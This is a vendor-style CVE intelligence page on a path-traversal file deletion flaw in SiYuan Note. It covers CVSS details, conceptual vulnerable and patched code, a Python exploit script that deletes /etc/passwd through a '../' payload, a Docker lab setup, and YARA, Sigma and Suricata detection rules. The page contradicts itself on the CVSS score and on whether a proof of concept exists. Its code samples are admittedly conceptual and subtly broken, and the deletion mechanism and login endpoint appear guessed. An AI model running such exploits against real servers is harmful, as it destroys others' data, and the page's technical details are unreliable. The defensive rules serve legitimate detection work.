☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Siyuan logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 8.7 🐛 CWE-459
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-21609

CVE-2025-21609 Path Traversal in Siyuan
📅 PUBLISHED: 2025-01-03 16:26 UTC 🔄 UPDATED: 2026-09-23 20:13 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.60%
👁️
0.60% probability
15.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
8.7
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-21609 is an arbitrary file deletion vulnerability discovered in SiYuan Note, a self-hosted, open-source personal knowledge management software. The vulnerability resides in the POST /api/history/getDocHistoryContent endpoint. An authenticated attacker can craft a malicious payload using path traversal sequences (e.g., ../) to delete arbitrary files on the server. This can lead to data loss, service disruption, or potential privilege escalation if critical system files are removed. The vulnerability affects versions prior to 3.1.19. A fix has been committed and is expected in version 3.1.19.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

SiYuan Note is distributed as a self-hosted application, often deployed via Docker or direct installation. Users who deploy SiYuan Note are responsible for updating their instances. The vulnerability does not directly affect upstream package registries (e.g., NPM, PyPI) but impacts the application's core API. Organizations using SiYuan Note should treat this as a high-priority update.

CVSS Breakdown & Threat Level

CVSS Score: 8.1 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

  • Attack Vector (AV): Network – The vulnerability is exploitable remotely over the network.
  • Attack Complexity (AC): Low – No special conditions are required for exploitation.
  • Privileges Required (PR): Low – An attacker must have a valid user account on the SiYuan instance.
  • User Interaction (UI): None – No user interaction is required.
  • Scope (S): Unchanged – The vulnerable component and the affected resource are the same.
  • Confidentiality (C): None – The vulnerability does not directly lead to data disclosure.
  • Integrity (I): High – Arbitrary file deletion can corrupt data or system files.
  • Availability (A): High – Deletion of critical files can cause service disruption or denial of service.

Threat Level: High. The ability to delete arbitrary files with low privileges and no user interaction makes this a serious threat for self-hosted SiYuan instances.

Deep Dive & Mechanics

The vulnerability exists in the POST /api/history/getDocHistoryContent endpoint. This endpoint is designed to retrieve the content of a specific historical version of a document. The application fails to properly sanitize the path parameter provided by the user.

Root Cause: The application does not validate or restrict the path parameter to ensure it stays within the intended data directory. An attacker can supply a path containing directory traversal sequences (e.g., ../../../etc/passwd) to reference files outside the allowed scope.

Exploitation Flow:

  1. The attacker authenticates to the SiYuan instance.
  2. The attacker sends a POST request to /api/history/getDocHistoryContent with a crafted JSON payload containing a path parameter with traversal sequences.
  3. The application processes the request and attempts to read the file at the traversed path. However, due to a logic flaw, the read operation is followed by a deletion operation (likely for cleanup or temporary file handling).
  4. The file at the attacker-specified path is deleted.

Impact: An attacker can delete any file the SiYuan process has write access to. This includes:

  • Configuration files (e.g., config.json, app.conf)
  • Database files (e.g., SQLite .db files)
  • Log files
  • System files (if the process runs with elevated privileges)
  • User data

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable endpoint handler
app.post('/api/history/getDocHistoryContent', (req, res) => {
    const { path } = req.body;
    // No validation of path
    const fullPath = path.join(dataDir, path);
    // Read and then delete the file
    const content = fs.readFileSync(fullPath, 'utf8');
    fs.unlinkSync(fullPath); // Arbitrary file deletion
    res.json({ content });
});

Patched Code (Conceptual):

// Patched endpoint handler
const path = require('path');

app.post('/api/history/getDocHistoryContent', (req, res) => {
    const { path: userPath } = req.body;
    // Resolve the path and ensure it stays within dataDir
    const resolvedPath = path.resolve(dataDir, userPath);
    if (!resolvedPath.startsWith(dataDir)) {
        return res.status(400).json({ error: 'Invalid path' });
    }
    // Read the file (no deletion)
    const content = fs.readFileSync(resolvedPath, 'utf8');
    res.json({ content });
});

The patch adds a check using path.resolve() to ensure the final resolved path is within the allowed dataDir. Additionally, the deletion operation is removed from this endpoint.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A running instance of SiYuan Note version 3.1.18 or earlier.
  • Valid user credentials (e.g., admin:password).

Exploit Script (Python):

import requests
import json

target = "http://localhost:6806"
session = requests.Session()

# Authenticate
login_data = {
    "username": "admin",
    "password": "password"
}
session.post(f"{target}/api/login", json=login_data)

# Exploit: Delete /etc/passwd (Linux) or a test file
payload = {
    "path": "../../../etc/passwd"  # Traversal to delete system file
}
response = session.post(f"{target}/api/history/getDocHistoryContent", json=payload)
print(f"Status: {response.status_code}")
print(f"Response: {response.text}")

Expected Outcome: The file /etc/passwd is deleted, causing system instability or denial of service.

Lab Setup:

  1. Deploy SiYuan Note 3.1.18 using Docker:
    docker run -d -p 6806:6806 --name siyuan b3log/siyuan:3.1.18
    
  2. Access the web interface at http://localhost:6806 and create an admin account.
  3. Run the exploit script.

Blue Team (Defensive)

Detection:

  • Monitor for POST requests to /api/history/getDocHistoryContent with unusual path parameters containing ../ or absolute paths.
  • Alert on multiple failed file read attempts followed by successful deletions.
  • Use file integrity monitoring (FIM) to detect unexpected deletions of critical files.

Mitigation:

  • Immediately update to version 3.1.19 or apply the patch from commit d9887aeec1b27073bec66299a9a4181dc42969f3.
  • If patching is not possible, restrict access to the /api/history/getDocHistoryContent endpoint using a reverse proxy (e.g., Nginx) with allow/deny rules.
  • Implement a Web Application Firewall (WAF) rule to block path traversal patterns in request bodies.

Indicators of Compromise (IOCs)

Network IOCs:

  • POST requests to /api/history/getDocHistoryContent with path containing ../ or absolute paths.
  • Unusual HTTP 200 responses from the same endpoint with empty or unexpected content.

File System IOCs:

  • Unexpected deletion of files in /etc/, /var/log/, or application data directories.
  • Presence of temporary files with unusual names in the SiYuan data directory.

Log IOCs:

  • SiYuan application logs showing errors like ENOENT: no such file or directory for files that previously existed.
  • System logs (e.g., auth.log, syslog) showing file deletion events.

Detection Engineering

YARA Rule

rule CVE_2025_21609_SiYuan_File_Deletion {
    meta:
        description = "Detects exploitation attempts of CVE-2025-21609 in SiYuan Note"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-21609"
    strings:
        $traversal = /\.\.\/|\.\.\\|\.\.%2f|\.\.%5c/
        $endpoint = "/api/history/getDocHistoryContent"
    condition:
        $endpoint and $traversal
}

Sigma Rule

title: CVE-2025-21609 SiYuan Note Arbitrary File Deletion
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects POST requests to SiYuan Note's getDocHistoryContent endpoint with path traversal patterns.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: nginx
detection:
    selection:
        http.method: POST
        http.url: /api/history/getDocHistoryContent
        http.body: "*../*"
    condition: selection
falsepositives:
    - Legitimate use of path traversal in non-exploit scenarios (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-21609 SiYuan Note Arbitrary File Deletion Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/api/history/getDocHistoryContent"; http_uri; content:"../"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Update SiYuan Note to version 3.1.19 or later as soon as it is released.
  2. Apply the patch manually from commit d9887aeec1b27073bec66299a9a4181dc42969f3 if you cannot wait for the official release.
  3. Restrict network access to the SiYuan instance using a firewall or VPN. Only allow trusted IPs.

Long-term Mitigations:

  • Implement a Web Application Firewall (WAF) with rules to block path traversal attacks.
  • Regularly audit application logs for suspicious activity.
  • Use file integrity monitoring (FIM) tools like Tripwire or AIDE to detect unauthorized file changes.
  • Follow the principle of least privilege for the SiYuan process user.

Workarounds (if patching is delayed):

  • Disable the /api/history/getDocHistoryContent endpoint by modifying the reverse proxy configuration (e.g., Nginx):
    location /api/history/getDocHistoryContent {
        deny all;
        return 403;
    }
    
  • Monitor and alert on any POST requests to this endpoint.

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-21609/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.